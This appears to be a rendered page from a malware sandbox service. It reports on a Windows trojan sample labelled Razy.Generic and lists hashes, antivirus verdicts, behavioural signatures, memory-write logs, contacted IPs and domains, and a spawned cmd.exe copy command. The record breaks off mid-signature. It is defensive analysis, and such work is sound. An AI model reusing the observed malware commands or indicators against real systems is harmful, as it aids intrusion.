24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T477,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Razy.Generic Sample 25759033ce9d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 25759033ce9d…. Malware family: Razy.Generic. Threat score 100/100. 17/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","keywords":["Malicious","Razy.Generic","malware analysis","sandbox report","threat intelligence","25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Razy.Generic","antivirusDetections":{"malicious":17,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T681,Found API call GetLocalTime@KERNEL32.DLL (Target: "25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe"; Stream UID: "00025488-00002624-41464-213-0040FB0C") which is directly followed by "cmp dword ptr [00444EACh], eax" and "je 0040FBA9h". See related instructions: "... +32 lea eax, dword ptr [ebp-18h] +35 mov dword ptr [esp], eax +38 mov dword ptr [ebp-1Ch], edx +41 call 00414140h ;GetLocalTime +46 mov edx, dword ptr [ebp-1Ch] +49 push eax +50 movzx eax, word ptr [ebp-12h] +54 cmp dword ptr [00444EACh], eax +60 je 0040FBA9h" ... at 00025488-00002624-41464-213-0040FB0C Found API call GetLocalTime@KERNEL32.DLL (Target: "jvsgr.exe"; Stream UID: "00027280-00002792-53052-217-0040FB0C") which is directly followed by "cmp dword ptr [00444EACh], eax" and "je 0040FBA9h". See related instructions: "... +32 lea eax, dword ptr [ebp-18h] +35 mov dword ptr [esp], eax +38 mov dword ptr [ebp-1Ch], edx +41 call 00414140h ;GetLocalTime +46 mov edx, dword ptr [ebp-1Ch] +49 push eax +50 movzx eax, word ptr [ebp-12h] +54 cmp dword ptr [00444EACh], eax +60 je 0040FBA9h" ... at 00027280-00002792-53052-217-0040FB0C Found API call GetLocalTime@KERNEL32.DLL (Target: "jvsgr.exe"; Stream UID: "00027280-00002792-58501-217-0040FB0C") which is directly followed by "cmp dword ptr [00444EACh], eax" and "je 0040FBA9h". See related instructions: "... +32 lea eax, dword ptr [ebp-18h] +35 mov dword ptr [esp], eax +38 mov dword ptr [ebp-1Ch], edx +41 call 00414140h ;GetLocalTime +46 mov edx, dword ptr [ebp-1Ch] +49 push eax +50 movzx eax, word ptr [ebp-12h] +54 cmp dword ptr [00444EACh], eax +60 je 0040FBA9h" ... at 00027280-00002792-58501-217-0040FB0C26:Teda,"" wrote bytes "0000000000000000" to virtual address "0x00446E46" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "c4ca287780bb287752ba28779fbb287708bb287746ce287761382977de2f2977d0d92877000000001779ed754f91ed757f6fed75f4f7ed7511f7ed75f283ed75857eed7500000000" to virtual address "0x6EE01000" (part of module "MSIMG32.DLL") "" wrote bytes "7f5ad57500000000" to virtual address "0x004483A8" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "241c5d7641e1537600000000" to virtual address "0x00448510" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "dd9116774edf167766df16777edf167736df167724e11677b4a418777a1517779d461777fe40177731cf167781141777c8461777cc481777074917778d461777ef481777ad461777d614177700000000" to virtual address "0x00448358" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "c072ed75ad73ed758868ed75aa6eed75145fed753ba2ed75df5ded754066ed750669ed757d07ee7500000000" to virtual address "0x004483B0" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "5f3c2077ad372077e72f2077b23a20778a6a207718392077dd6b2077737621775ba020778b2d207731b12077843020778b2d20770e6b207789692077016f2077b64120779d442077b83e207700000000" to virtual address "0x004485AC" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "" wrote bytes "4053ab775858ac77186aac77653cad770000000000bf28770000000056cc2877000000007cca2877000000003768c5756a2cad77d62dad77000000002069c5750000000029a6287700000000a48dc57500000000f70e287700000000" to virtual address "0x77151000" (part of module "NSI.DLL") "" wrote bytes "2e134d778fc14d77a8d14c77cebb4c7794984c7719a44d77ee9c4c770db14c774ade4c7700000000" to virtual address "0x004484E8" (part of module "25759033CE9DDCB058EB28FC4F2E6666E11C38854B330374BE4EDFE178C5CBA8.EXE") "jvsgr.exe" wrote bytes "0000000000000000" to virtual address "0x00446E46" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "7f5ad57500000000" to virtual address "0x004483A8" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "241c5d7641e1537600000000" to virtual address "0x00448510" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "dd9116774edf167766df16777edf167736df167724e11677b4a418777a1517779d461777fe40177731cf167781141777c8461777cc481777074917778d461777ef481777ad461777d614177700000000" to virtual address "0x00448358" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "c072ed75ad73ed758868ed75aa6eed75145fed753ba2ed75df5ded754066ed750669ed757d07ee7500000000" to virtual address "0x004483B0" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "5f3c2077ad372077e72f2077b23a20778a6a207718392077dd6b2077737621775ba020778b2d207731b12077843020778b2d20770e6b207789692077016f2077b64120779d442077b83e207700000000" to virtual address "0x004485AC" (part of module "JVSGR.EXE") "jvsgr.exe" wrote bytes "c4ca287780bb287752ba28779fbb287708bb287746ce287761382977de2f2977d0d92877000000001779ed754f91ed757f6fed75f4f7ed7511f7ed75f283ed75857eed7500000000" to virtual address "0x6F0F1000" (part of module "MSIMG32.DLL") "jvsgr.exe" wrote bytes "4053ab775858ac77186aac77653cad770000000000bf28770000000056cc2877000000007cca2877000000003768c5756a2cad77d62dad77000000002069c5750000000029a6287700000000a48dc57500000000f70e287700000000" to virtual address "0x77151000" (part of module "NSI.DLL") "jvsgr.exe" wrote bytes "2e134d778fc14d77a8d14c77cebb4c7794984c7719a44d77ee9c4c770db14c774ade4c7700000000" to virtual address "0x004484E8" (part of module "JVSGR.EXE")27:T4df,Found malicious artifacts related to "216.146.38.70" (ASN: 33517, Owner: Dynamic Network Services, Inc.): ... URL: http://ip-addr.es/ (AV positives: 1/68 scanned on 08/10/2016 01:30:07) URL: http://checkip.dyndns.org/?rnd1=25719.5626837902 (AV positives: 1/67 scanned on 05/06/2016 16:06:15) URL: http://checkip.dyndns.org/?rnd1=54307.8203483731 (AV positives: 1/67 scanned on 05/06/2016 16:06:29) URL: http://checkip.dyndns.org/?rnd1=53789.4611773386 (AV positives: 1/67 scanned on 05/06/2016 16:06:22) URL: http://www.ip-addr.es/ (AV positives: 3/68 scanned on 03/18/2016 03:20:02) File SHA256: 61915514a33c480944b0ae694dcf7fde4dc59782a95bf976c62a5ddb894c01e3 (AV positives: 39/55 scanned on 08/10/2016 10:39:14) File SHA256: 322c4ebb5acde065fac325cdabdcd2b53534ffa0c76b7d3e06ca47cdb167d4ca (AV positives: 37/55 scanned on 08/10/2016 08:59:19) File SHA256: e9e34f252f8b041a22e8a9035e15a551d29ade81d6a27e37368acbf2d3e3aea4 (AV positives: 36/54 scanned on 08/10/2016 08:40:33) File SHA256: 2be8963b1d4fc3af1d09338ee561ad85cb2bcf0cb41a6a22b81baea404aaf379 (AV positives: 38/55 scanned on 08/10/2016 08:38:57) File SHA256: 0faec2f7eebb84a9fcc94eac96c6b8c81190ba272777b256110fb544f37b2672 (AV positives: 36/55 scanned on 08/10/2016 08:36:09)28:T608,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQaSURBVFhH7VdLV1NXGPV/OadWWxV5KPiMaItdC5eCCBR0QULegRgDWCQYwiMEQkBqayu1U1uIHTjSkc7oBEhyc1954O537s3jAjdN0C6YNGvtdZJzc8+3v/09zjlHjvz/OWwFrE43+vptB4p+iwPktwqLzYF379fx5u0Hwvv/FN92epT1do/M4QIBq30Qf6xGPwura6+xFv0La69VrNL3P2mOQW/tHQRMZgeSgoR0SkZKlj4B6nuyDnavx2yIqYwS7oICJrNdmTxI7CGQyWYVAisrr/Dy9zcVYeW3V8hm0gqi0agu8gocvTEBBvZbV4FsjgAzXtOzgNp7YdT1zqPeOIez5hDOWUNodAbRODCDC54pXPROKiT/Xl9HShLKhm1fBK7YlmFwPIXBuYSmwUVc80Rw3buAb0bm0Tw6hxu+EL7zz2oI8J+nAIvHtkaBFu/PaBn+CTcfPcOtxwTfMlr9T9EWWMKd6UW0ByPomAsXCKQlPpeEojpK6qgFU6DKNKwfAkaAF9XYMFk7xl+gy/8rugK/oHv6OW6T8Zv+MJrHg7g65ofBN46mCV+RgCiUVYAZP/3IWZoAx4sFAsbgS9yfeYGmoRBO2sbwhWUIXzoe4sSAB189cOOkdwCnR5waAjkFyHOlFNm4SwVmvHGmtzICrU9+xAnzKKr6h3HM5sVxJxkffICvHw7i1LBL8eTMY7uGQLKsAsx48/OW0gSSGgWqjCOq13YyXvCajI+4UP2DA2fGbKh9YtmRA7IsQ6JQlGpkzPi/ExCKIThmzUnOvPaQ5EMkOXldPWpHjc+KOr8ZZwOmYhWI5augAgLFJDzuoli7NZIzr0ny2nEr6if6cW7SiAaStNAHBH5fbXxPI2JVwPaCfBVoE6161IEakryOJK8PkPGpPkqm+7gQ6tlXH9CGpiwBbaLV5iWfNKFhuhfng/dwca4bl8OdOwikchVQyWZWloA20RTJp4yq17M9uDT/PS4vdMKw2F4gIFEOsATUa0BsTqRnHMchHo8jEY/t3Qt2h0CbaA3TfeQ1k7wbl8JduBLpwNWldjQttxUIyGLpMpQlCi0RTCTiiMViiMe2ShDQdEJtop2fZZKT1yS5IXKXjN/BteVWXH92S0OA0/U+35YFSlLm+ebmJra2NvUJCKJ6UJicWqxoK2YVMBGIKLuhRAZKbccCzyPJJcjwlkqAoJsDiaRaBWxvZ4vuB0KyqACLOcsHnk+Co3kWd+b1xsaGgpIEYpwEdibAdgppmQeQBrI0lxKQIWBbprmPhG0C/Y89RwofM2qS5fu/JIrgSZEkGefI8zjFnsU/D6aGrgKMwKEdydgZvafP/Mn3AhO9b7G7YHe5YXW4YbY6YSxzz7jddrd4KC2cTvMXhYMfczeUgzecV+GwL4eHbP8fuv0VoZ+XlYMAAAAASUVORK5CYII=29:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791255440440,"unified_at":"2026-10-06T02:57:20.440Z","metadata":{"hashes":{"sha256":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","sha1":"a3a0f76299a49e3597cdbf0c3e39fb8cfc969a4f","md5":"b157c08db89d194eaa73c0723cf42b36","sha512":"a47abe0d719d0a68efe89405bf1336793c87007f3fea523c22841d416cc655360122e377afeafcbfdc599816ba8c2748ecbb6c153aea54b970e0070af624a724","ssdeep":"3072:YlThD2BkRtUKmhNQjSJx1EekFeMEGO1DRhd6A6MSuQpUckF1uYI3EOsBJAfdoZr+:YlTgB97zyEQ5MBsDm23EbJodegVQY","ssdeep_chunks":["3072:YlThD2B","3072:lThD2Bk","3072:ThD2BkR","3072:hD2BkRt","3072:D2BkRtU","3072:2BkRtUK","3072:BkRtUKm","3072:kRtUKmh","3072:RtUKmhN","3072:tUKmhNQ","3072:UKmhNQj","3072:KmhNQjS","3072:mhNQjSJ","3072:hNQjSJx","3072:NQjSJx1","3072:QjSJx1E","3072:jSJx1Ee","3072:SJx1Eek","3072:Jx1EekF","3072:x1EekFe","3072:1EekFeM","3072:EekFeME","3072:ekFeMEG","3072:kFeMEGO","3072:FeMEGO1","3072:eMEGO1D","3072:MEGO1DR","3072:EGO1DRh","3072:GO1DRhd","3072:O1DRhd6","3072:1DRhd6A","3072:DRhd6A6","3072:Rhd6A6M","3072:hd6A6MS","3072:d6A6MSu","3072:6A6MSuQ","3072:A6MSuQp","3072:6MSuQpU","3072:MSuQpUc","3072:SuQpUck","3072:uQpUckF","3072:QpUckF1","3072:pUckF1u","3072:UckF1uY","3072:ckF1uYI","3072:kF1uYI3","3072:F1uYI3E","3072:1uYI3EO","3072:uYI3EOs","3072:YI3EOsB","3072:I3EOsBJ","3072:3EOsBJA","3072:EOsBJAf","3072:OsBJAfd","3072:sBJAfdo","3072:BJAfdoZ","3072:JAfdoZr","3072:AfdoZr+","6144:YlThD2B","6144:lThD2Bk","6144:ThD2BkR","6144:hD2BkRt","6144:D2BkRtU","6144:2BkRtUK","6144:BkRtUKm","6144:kRtUKmh","6144:RtUKmhN","6144:tUKmhNQ","6144:UKmhNQj","6144:KmhNQjS","6144:mhNQjSJ","6144:hNQjSJx","6144:NQjSJx1","6144:QjSJx1E","6144:jSJx1Ee","6144:SJx1Eek","6144:Jx1EekF","6144:x1EekFe","6144:1EekFeM","6144:EekFeME","6144:ekFeMEG","6144:kFeMEGO","6144:FeMEGO1","6144:eMEGO1D","6144:MEGO1DR","6144:EGO1DRh","6144:GO1DRhd","6144:O1DRhd6","6144:1DRhd6A","6144:DRhd6A6","6144:Rhd6A6M","6144:hd6A6MS","6144:d6A6MSu","6144:6A6MSuQ","6144:A6MSuQp","6144:6MSuQpU","6144:MSuQpUc","6144:SuQpUck","6144:uQpUckF","6144:QpUckF1","6144:pUckF1u","6144:UckF1uY","6144:ckF1uYI","6144:kF1uYI3","6144:F1uYI3E","6144:1uYI3EO","6144:uYI3EOs","6144:YI3EOsB","6144:I3EOsBJ","6144:3EOsBJA","6144:EOsBJAf","6144:OsBJAfd","6144:sBJAfdo","6144:BJAfdoZ","6144:JAfdoZr","6144:AfdoZr+","3072:YlTgB97","3072:lTgB97z","3072:TgB97zy","3072:gB97zyE","3072:B97zyEQ","3072:97zyEQ5","3072:7zyEQ5M","3072:zyEQ5MB","3072:yEQ5MBs","3072:EQ5MBsD","3072:Q5MBsDm","3072:5MBsDm2","3072:MBsDm23","3072:BsDm23E","3072:sDm23Eb","3072:Dm23EbJ","3072:m23EbJo","3072:23EbJod","3072:3EbJode","3072:EbJodeg","3072:bJodegV","3072:JodegVQ","3072:odegVQY"],"imphash":"9972c7e91d749f265e20dcdca4cd7613"},"file_info":{"file_name":"file","file_type":["peexe","executable"],"file_type_id":"exe","file_size":287304,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1499292672000,"last_seen":1663337637000,"last_multi_scan":1663337637000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":15,"suspicious_count":15,"malicious_count":4,"total":34},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1233238","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Razy.96447","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Razy.96447 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.FGXA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan.Crypt.XPACK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0051cdc01 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.ijkx","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXDO-ED!B157C08DB89D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Weecnaw.evdeju","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"Ransom.Exxroute.ZZ4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_97","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Elenoocka-E","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"Trojan.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Backdoor.Tofsee","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Razy.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTime@KERNEL32.DLL at 00025488-00002624-41464-30-0040AE24\n GetLocalTime@KERNEL32.DLL at 00025488-00002624-41464-217-004105ED\n GetLocalTime@KERNEL32.DLL at 00025488-00002624-41464-212-0040FCA0\n GetLocalTime@KERNEL32.DLL at 00025488-00002624-41464-213-0040FB0C\n GetSystemTime@KERNEL32.DLL at 00027280-00002792-53052-30-0040AE24\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-53052-216-0040FCA0\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-53052-221-004105ED\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-53052-217-0040FB0C\n GetSystemTime@KERNEL32.DLL at 00027280-00002792-58501-30-0040AE24\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-58501-216-0040FCA0\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-58501-221-004105ED\n GetLocalTime@KERNEL32.DLL at 00027280-00002792-58501-217-0040FB0C","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.DLL at 00025488-00002624-41464-167-0040A837\n GetVersionExA@KERNEL32.DLL at 00027280-00002792-53052-171-0040A837\n GetVersionExA@KERNEL32.DLL at 00027280-00002792-58501-171-0040A837","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a branch decision directly after calling an API that is environment aware","description":"$25","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET INFO DYNAMIC_DNS Query to *.dyndns. Domain\" (SID: 2012758, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"checkip.dyndns.org\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"51.255.86.55:443\"\n \"216.146.38.70:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET / HTTP/1.1\nHost: checkip.dyndns.org\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c copy \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe+\" \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\"\" on 2016-8-10.08:03:00.911","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/c copy \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe+\" \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\"\" (UID: 00027272-00002800)\n Spawned process \"jvsgr.exe\" with commandline \"-m \"C:\\25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe\"\" (UID: 00027280-00002792)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB\" (SHA1: 70:AA:F3:F2:39:07:9E:23:CE:B0:A1:2D:67:11:34:0E:7E:65:A4:74; see report for more information)","origin":"Certificate Data","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"jvsgr.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameW@ADVAPI32.DLL at 00025488-00002624-41464-171-0040A7B9\n GetUserNameA@ADVAPI32.DLL at 00025488-00002624-41464-630-00405C31\n GetUserNameA@ADVAPI32.DLL at 00027280-00002792-53052-643-00405C31\n GetUserNameW@ADVAPI32.DLL at 